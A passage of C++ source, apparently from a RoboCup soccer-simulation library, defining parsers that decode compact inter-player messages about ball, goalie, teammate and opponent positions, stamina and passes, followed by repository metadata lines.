), &ball_pos, &ball_vel ) ) { std::cerr << "***ERROR*** PassMessageParser::parse()" << " Failed to decode ball [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "PassMessageParser: Failed to decode Ball Info [%s]", msg ); return -1; } msg += 5; dlog.addText( Logger::SENSOR, "PassMessageParser::parse() success! receiver %d" " recv_pos(%.1f %.1f)" " bpos(%.1f %.1f) bvel(%.1f %.1f)", receiver_number, receive_pos.x, receive_pos.y, ball_pos.x, ball_pos.y, ball_vel.x, ball_vel.y ); M_memory->setPass( sender, receiver_number, receive_pos, current ); M_memory->setBall( sender, ball_pos, ball_vel, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ InterceptMessageParser::InterceptMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int InterceptMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "i<unum:1><cycle:1>" // the length of message == 3 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "InterceptMessageParser::parse()" << " Illegal message = [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "AudioSensor: Failed to decode intercept info [%s]", msg ); return -1; } ++msg; AudioCodec::CharToIntCont::const_iterator unum_it = AudioCodec::i().charToIntMap().find( *msg ); if ( unum_it == AudioCodec::i().charToIntMap().end() || unum_it->second <= 0 || MAX_PLAYER*2 < unum_it->second ) { std::cerr << "InterceptMessageParser::parse() " << " Illegal player number. message = [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "InterceptMessageParser: Failed to decode intercept info [%s]", msg ); return -1; } ++msg; AudioCodec::CharToIntCont::const_iterator cycle = AudioCodec::i().charToIntMap().find( *msg ); if ( cycle == AudioCodec::i().charToIntMap().end() ) { std::cerr << "InterceptMessageParser::parse() " << " Illegal cycle. message = [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "InterceptMessageParser: Failed to decode intercept info [%s]", msg ); return -1; } dlog.addText( Logger::SENSOR, "InterceptMessageParser: success! number=%d cycle=%d", unum_it->second, cycle->second ); M_memory->setIntercept( sender, unum_it->second, cycle->second, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ GoalieMessageParser::GoalieMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int GoalieMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "g<pos_body:4>" // the length of message == 5 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "GoalieMessageParser::parse()." << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; dlog.addText( Logger::SENSOR, "GoalieMessageParser: Failed to decode Goalie Info [%s]", msg ); return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "GoalieMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "GoalieMessageParser: Failed to decode Goalie Info [%s]", msg ); return -1; } Vector2D goalie_pos; AngleDeg goalie_body; goalie_body = static_cast< double >( ival % 360 - 180 ); ival /= 360; goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0; ival /= 400; goalie_pos.x = ( ival % 160 ) * 0.1 + ( 53.0 - 16.0 ); dlog.addText( Logger::SENSOR, "GoalieMessageParser: success! goalie pos = (%.2f %.2f) body = %.1f", goalie_pos.x, goalie_pos.y, goalie_body.degree() ); M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ GoalieAndPlayerMessageParser::GoalieAndPlayerMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int GoalieAndPlayerMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "g<pos_body:4,unm_pos:3>" // the length of message == 8 // ( 22 * 105/0.63 * 68/0.63 ) * ( 16.0/0.1 * 40.0/0.1 * 360 ) // -> (22 * 168 * 109) * (160 * 400 * 360) = 9281986560000 // 74^6 = 164206490176 // 9281986560000 // 74^7 = 12151280273024 // ( 22 * 105/0.55 * 68/0.55 ) * ( 16.0/0.1 * 40.0/0.1 * 360 ) // -> (22 * 192 * 125) * (160 * 400 * 360) = 12165120000000 // ========== // ( 22 * 105/0.555 * 68/0.555 ) * ( 16.0/0.1 * 40.0/0.1 * 360 ) // -> (22 * 191 * 124) * (160 * 400 * 360) = 12004945920000 // ========== // ( 22 * 105/0.56 * 68/0.55 ) * ( 16.0/0.1 * 40.0/0.1 * 360 ) // -> (22 * 189 * 123) * (160 * 400 * 360) = 11783439360000 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "Goalie1PlayerMessageParser::parse()." << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; dlog.addText( Logger::SENSOR, "Goalie1PlayerMessageParser: Failed to decode Goalie Info [%s]", msg ); return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "Goalie1PlayerMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "Goalie1PlayerMessageParser: Failed to decode Goalie Info [%s]", msg ); return -1; } Vector2D goalie_pos; AngleDeg goalie_body; int player_number = Unum_Unknown; Vector2D player_pos; // 124 > 68/0.555 + 1 player_pos.y = ( ival % 124 ) * 0.555 - 34.0; ival /= 124; // 191 > 105/0.555 + 1 player_pos.x = ( ival % 191 ) * 0.555 - 52.5; ival /= 191; // 22 player_number = ( ival % 22 ) + 1; ival /= 22; goalie_body = static_cast< double >( ival % 360 - 180 ); ival /= 360; goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0; ival /= 400; goalie_pos.x = ( ival % 160 ) * 0.1 + ( 53.0 - 16.0 ); // ival /= 160; dlog.addText( Logger::SENSOR, "GoalieAndPlayerMessageParser: success! goalie pos=(%.2f %.2f) body=%.1f", goalie_pos.x, goalie_pos.y, goalie_body.degree() ); dlog.addText( Logger::SENSOR, "____ player number=%d pos=(%.2f %.2f)", player_number, player_pos.x, player_pos.y ); M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current ); M_memory->setPlayer( sender, player_number, player_pos, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ OffsideLineMessageParser::OffsideLineMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int OffsideLineMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "o<x_rate:1>" // the length of message == 2 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "OffsideLineMessageParser::parse()" << " Illegal message [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "OffsideLineMessageParser: Failed to decode Offside Line Info [%s]", msg ); return -1; } ++msg; double rate = AudioCodec::i().decodeCharToPercentage( *msg ); if ( rate == AudioCodec::ERROR_VALUE ) { std::cerr << "OffsideLineMessageParser::parse()" << " Failed to read offside line" << std::endl; dlog.addText( Logger::SENSOR, "OffsideLineMessageParser: Failed to decode Offside Line Info [%s]", msg ); return -1; } double offside_line_x = 10.0 + ( 52.0 - 10.0 ) * rate; dlog.addText( Logger::SENSOR, "OffsideLineMessageParser: success! x=%.1f rate=%.3f", offside_line_x, rate ); M_memory->setOffsideLine( sender, offside_line_x, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ DefenseLineMessageParser::DefenseLineMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int DefenseLineMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "d<x_rate:1>" // the length of message == 2 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "DefenseLineMessageParser::parse()" << " Illegal message [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "DefenseLineMessageParser: Failed to decode Defense Line Info [%s]", msg ); return -1; } ++msg; double rate = AudioCodec::i().decodeCharToPercentage( *msg ); if ( rate == AudioCodec::ERROR_VALUE ) { std::cerr << "DefenseLineMessageParser::parser()" << " Failed to read offside line [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "DefenseLineMessageParser: Failed to decode Defense Line Info [%s]", msg ); return -1; } double defense_line_x = 52.0 + ( -10.0 + 52.0 ) * rate; dlog.addText( Logger::SENSOR, "DefenseLineMessageParser::parse() success! x=%.1f rate=%.3f", defense_line_x, rate ); M_memory->setDefenseLine( sender, defense_line_x, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ WaitRequestMessageParser::WaitRequestMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int WaitRequestMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { if ( *msg != sheader() ) { return 0; } M_memory->setWaitRequest( sender, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ PassRequestMessageParser::PassRequestMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int PassRequestMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "h<pos:3>" // the length of message == 4 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "PassRequestMessageParser::parse()" << " Illegal pass request message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; Vector2D pos; if ( ! AudioCodec::i().decodeStr3ToPos( std::string( msg, slength() - 1 ), &pos ) ) { std::cerr << "PassRequestMessage::parse()" << " Failed to decode pass request potiiton. [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "AudioSensor: Failed to decode hey pass potiiton" ); return -1; } dlog.addText( Logger::SENSOR, "PassRequestMessageParser: success! " "sender = %d request pos = (%.2f %.2f)", sender, pos.x, pos.y ); M_memory->setPassRequest( sender, pos, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ StaminaMessageParser::StaminaMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int StaminaMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "s<rate:1>" // the length of message == 2 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "StaminaMessageParser::parse()" << " Illegal message [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "StaminaMessageParser: Failed to decode Stamina Rate [%s]", msg ); return -1; } ++msg; double rate = AudioCodec::i().decodeCharToPercentage( *msg ); if ( rate < 0.0 || 1.00001 < rate ) { std::cerr << "StaminaMessageParser::parser()" << " Failed to read stamina rate [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "StaminaMessageParser: Failed to decode Stamina Rate [%s]", msg ); return -1; } double stamina = ServerParam::i().staminaMax() * rate; dlog.addText( Logger::SENSOR, "StaminaMessageParser::parse() success! rate=%f stamina=%.1f", rate, stamina ); M_memory->setStamina( sender, rate, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ RecoveryMessageParser::RecoveryMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int RecoveryMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "r<rate:1>" // the length of message == 2 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "RecoveryMessageParser::parse()" << " Illegal message [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "RecoveryMessageParser: Failed to decode Recovery Rate [%s]", msg ); return -1; } ++msg; double rate = AudioCodec::i().decodeCharToPercentage( *msg ); if ( rate == AudioCodec::ERROR_VALUE ) { std::cerr << "RecoveryMessageParser::parser()" << " Failed to read recovery rate [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "RecoveryMessageParser: Failed to decode Recovery Rate [%s]", msg ); return -1; } double recovery = rate * ( ServerParam::i().recoverInit() - ServerParam::i().recoverMin() ) + ServerParam::i().recoverMin(); dlog.addText( Logger::SENSOR, "RecoverMessageParser::parse() success! rate=%f recovery=%.3f", rate, recovery ); M_memory->setRecovery( sender, rate, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ DribbleMessageParser::DribbleMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int DribbleMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "D<count_pos:3>" // the length of message == 4 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "DribbleMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "DribbleMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "DribbleMessageParser: Failed to decode Dribble Info [%s]", msg ); return -1; } Vector2D pos; int count; count = static_cast< int >( ival % 10 ) + 1; ival /= 10; boost::int64_t div = static_cast< boost::int64_t >( std::ceil( 68.0 / 0.5 ) ); pos.y = ( ival % div ) * 0.5 - 34.0; ival /= div; // div = static_cast< boost::int64_t >( std::ceil( 105.0 / 0.5 ) ); // pos.x = ( ival % div ) * 0.5 - 52.5; pos.x = ival * 0.5 - 52.5; dlog.addText( Logger::SENSOR, "DribbleMessageParser: success! " "sender = %d target_pos=(%.2f %.2f) count=%d", sender, pos.x, pos.y, count ); M_memory->setDribbleTarget( sender, pos, count, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ BallGoalieMessageParser::BallGoalieMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int BallGoalieMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "G<bpos_bvel_gpos_gbody:9>" // the length of message == 10 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "BallGoalieMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "BallGoalieMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "BallGoalieMessageParser: Failed to decode Goalie Info [%s]", msg ); return -1; } // 74^9 = 66540410775079424 // 1050*680*60*60*160*400*360 = 59222016000000000 // 1050*680*63*63*160*400*360 = 65292272640000000 const double max_speed = ServerParam::i().ballSpeedMax(); const double prec_speed = max_speed * 2.0 / 63.0; Vector2D ball_pos; Vector2D ball_vel; Vector2D goalie_pos; AngleDeg goalie_body; goalie_body = static_cast< double >( ival % 360 - 180 ); ival /= 360; goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0; ival /= 400; goalie_pos.x = ( ival % 160 ) * 0.1 + ( 52.5 - 16.0 ); ival /= 160; ball_vel.y = ( ival % 63 ) * prec_speed - max_speed; ival /= 63; ball_vel.x = ( ival % 63 ) * prec_speed - max_speed; ival /= 63; ball_pos.y = ( ival % 680 ) * 0.1 - 34.0; ival /= 680; ball_pos.x = ( ival % 1050 ) * 0.1 - 52.5; //ival /= 1050; dlog.addText( Logger::SENSOR, "BallGoalieMessageParser: success! " "sender = %d bpos(%.1f %.1f) bvel(%.1f %.1f)" " gpos(%.1f %.1f) gbody %.1f", sender, ball_pos.x, ball_pos.y, ball_vel.x, ball_vel.y, goalie_pos.x, goalie_pos.y, goalie_body.degree() ); M_memory->setBall( sender, ball_pos, ball_vel, current ); M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ OnePlayerMessageParser::OnePlayerMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int OnePlayerMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "P<unum_pos:3>" // the length of message == 4 // ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224) // -> 22 * 168 * 109 = 402864 // 74^3 = 405224 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "OnePlayerMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "OnePlayerMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "OnePlayerMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player_unum = Unum_Unknown; Vector2D player_pos; // 109 > 68/0.63 + 1 player_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 + 1 player_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player_unum = ( ival % 22 ) + 1; ival /= 22; dlog.addText( Logger::SENSOR, "OnePlayerMessageParser: success! " "unum = %d pos(%.1f %.1f)", player_unum, player_pos.x, player_pos.y ); M_memory->setPlayer( sender, player_unum, player_pos, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ TwoPlayerMessageParser::TwoPlayerMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int TwoPlayerMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "Q<unum_pos:3,unum_pos3>" // the length of message == 7 // ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224) // -> 22 * 168 * 109 = 402864 // (22 * 168 * 109)^2 = 162299402496 // 74^6 = 164206490176 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "TwoPlayerMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "TwoPlayerMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "TwoPlayerMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player1_unum = Unum_Unknown; Vector2D player1_pos; int player2_unum = Unum_Unknown; Vector2D player2_pos; // 109 > 68/0.63 player2_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 player2_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player2_unum = ( ival % 22 ) + 1; ival /= 22; // 109 > 68/0.63 player1_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 player1_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player1_unum = ( ival % 22 ) + 1; ival /= 22; dlog.addText( Logger::SENSOR, "TwoPlayerMessageParser: success! " "(unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)) ", player1_unum, player1_pos.x, player1_pos.y, player2_unum, player2_pos.x, player2_pos.y ); M_memory->setPlayer( sender, player1_unum, player1_pos, current ); M_memory->setPlayer( sender, player2_unum, player2_pos, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ ThreePlayerMessageParser::ThreePlayerMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int ThreePlayerMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "R<unum_pos:3,unum_pos:3,unm_pos:3>" // the length of message == 10 // ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224) // -> 22 * 168 * 109 = 402864 // (22 * 168 * 109)^3 = 65384586487148544 // 74^9 = 66540410775079424 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "ThreePlayerMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "ThreePlayerMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "ThreePlayerMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player1_unum = Unum_Unknown; Vector2D player1_pos; int player2_unum = Unum_Unknown; Vector2D player2_pos; int player3_unum = Unum_Unknown; Vector2D player3_pos; // 109 > 68/0.63 player3_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 player3_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player3_unum = ( ival % 22 ) + 1; ival /= 22; // 109 > 68/0.63 player2_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 player2_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player2_unum = ( ival % 22 ) + 1; ival /= 22; // 109 > 68/0.63 player1_pos.y = ( ival % 109 ) * 0.63 - 34.0; ival /= 109; // 168 > 105/0.63 player1_pos.x = ( ival % 168 ) * 0.63 - 52.5; ival /= 168; // 22 player1_unum = ( ival % 22 ) + 1; ival /= 22; dlog.addText( Logger::SENSOR, "ThreePlayerMessageParser: success! " "(unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)) ", player1_unum, player1_pos.x, player1_pos.y, player2_unum, player2_pos.x, player2_pos.y, player3_unum, player3_pos.x, player3_pos.y ); M_memory->setPlayer( sender, player1_unum, player1_pos, current ); M_memory->setPlayer( sender, player2_unum, player2_pos, current ); M_memory->setPlayer( sender, player3_unum, player3_pos, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ SelfMessageParser::SelfMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int SelfMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "S<pos_body_stamina:4>" // the length of message == 5 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "SelfMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "SelfMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "SelfMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player_unum = sender; Vector2D player_pos; AngleDeg player_body; double stamina = -1.0; // 11 stamina = ServerParam::i().staminaMax() * static_cast< double >( ( ival % 11 ) ) / 10.0; ival /= 11; // 60=360/6 player_body = ( ival % 60 ) * 6.0 - 180.0; ival /= 60; // 171 > 68/0.4 player_pos.y = ( ival % 171 ) * 0.4 - 34.0; ival /= 171; // 264 > 105/0.4=262.5 player_pos.x = ( ival % 264 ) * 0.4 - 52.5; //ival /= 264; dlog.addText( Logger::SENSOR, "SelfMessageParser: success! " "unum = %d pos(%.1f %.1f) body=%.1f stamina=%f", player_unum, player_pos.x, player_pos.y, player_body.degree(), stamina ); M_memory->setPlayer( sender, player_unum, player_pos, player_body.degree(), stamina, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ TeammateMessageParser::TeammateMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int TeammateMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "T<unum_pos_body:4>" // the length of message == 5 //11 * 105/0.7 * 68/0.7 * 360/2 // -> 11 * 151 * 98 * 180 // =29300040 < 4 characters(74^4=29986576) if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "TeammateMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "TeammateMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "TeammateMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player_unum = Unum_Unknown; Vector2D player_pos; AngleDeg player_body; // 180=360/2 player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 ); ival /= 180; // 98=68/0.7=97.14 player_pos.y = ( ival % 98 ) * 0.7 - 34.0; ival /= 98; // 151>105/0.7=150 player_pos.x = ( ival % 151 ) * 0.7 - 52.5; ival /= 151; player_unum = ( ival % 11 ) + 1; // ival /= 11 dlog.addText( Logger::SENSOR, "TeammateMessageParser: success! " "unum = %d pos(%.1f %.1f) body %.1f", player_unum, player_pos.x, player_pos.y, player_body.degree() ); M_memory->setPlayer( sender, player_unum, player_pos, player_body.degree(), -1.0, // unknown stamina current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ OpponentMessageParser::OpponentMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int OpponentMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "O<unum_pos_body:4>" // the length of message == 5 //11 * 105/0.7 * 68/0.7 * 360/2 // -> 11 * 151 * 98 * 180 // =29300040 < 4 characters(74^4=29986576) if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "OpponentMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ), &ival ) ) { std::cerr << "OpponentMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "OpponentMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player_unum = Unum_Unknown; Vector2D player_pos; AngleDeg player_body; // 180=360/2 player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 ); ival /= 180; // 98=68/0.7=97.14 player_pos.y = ( ival % 98 ) * 0.7 - 34.0; ival /= 98; // 151>105/0.7=150 player_pos.x = ( ival % 151 ) * 0.7 - 52.5; ival /= 151; player_unum = ( ival % 11 ) + 1; // ival /= 11 dlog.addText( Logger::SENSOR, "OpponentMessageParser: success! " "unum = %d pos(%.1f %.1f) body %.1f", player_unum, player_pos.x, player_pos.y, player_body.degree() ); M_memory->setPlayer( sender, player_unum + 11, player_pos, player_body.degree(), -1.0, // unknown stamina current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ BallPlayerMessageParser::BallPlayerMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int BallPlayerMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "P<bpos_bvel_unum_pos_body:9>" // the length of message == 10 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "OnePlayerMessageParser::parse()" << " Illegal message [" << msg << "] len = " << std::strlen( msg ) << std::endl; return -1; } ++msg; Vector2D ball_pos; Vector2D ball_vel; if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, 5 ), &ball_pos, &ball_vel ) ) { std::cerr << "***ERROR*** BallPlayerMessageParser::parse()" << " Failed to decode ball [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "BallPlayerMessageParser: Failed to decode Ball Info [%s]", msg ); return -1; } msg += 5; boost::int64_t ival = 0; if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, 4 ), &ival ) ) { std::cerr << "BallPlayerMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "BallPlayerMessageParser: Failed to decode Player Info [%s]", msg ); return -1; } int player_unum = Unum_Unknown; Vector2D player_pos; AngleDeg player_body; // 180=360/2 player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 ); ival /= 180; // 69 > 68/1.0 player_pos.y = ( ival % 69 ) * 1.0 - 34.0; ival /= 69; // 106 > 105/1.0 player_pos.x = ( ival % 106 ) * 1.0 - 52.5; ival /= 106; player_unum = ( ival % 22 ) + 1; // ival /= 22 dlog.addText( Logger::SENSOR, "BallPlayerMessageParser: success! " " bpos(%.1f %.1f) bvel(%.1f %.1f)" " unum=%d pos(%.1f %.1f) body %.1f", ball_pos.x, ball_pos.y, ball_vel.x, ball_vel.y, player_unum, player_pos.x, player_pos.y, player_body.degree() ); M_memory->setBall( sender, ball_pos, ball_vel, current ); M_memory->setPlayer( sender, player_unum, player_pos, player_body.degree(), -1.0, // unknown stamina current ); return slength(); } } // end namespace rcsc
27.244483
101
0.442588
InsperDynamics
0eb5873e030f758ae877cc49f1b03b74508d466d
2,195
cpp
C++
ext/kameleon/src/ccmc/wrappers/fortran/GeneralFileReader_f.cpp
alexanderbock/Kameleon-Converter
6c2e66bfea60b17a369a3615bc1a623bba100a6f
[ "BSD-3-Clause" ]
null
null
null
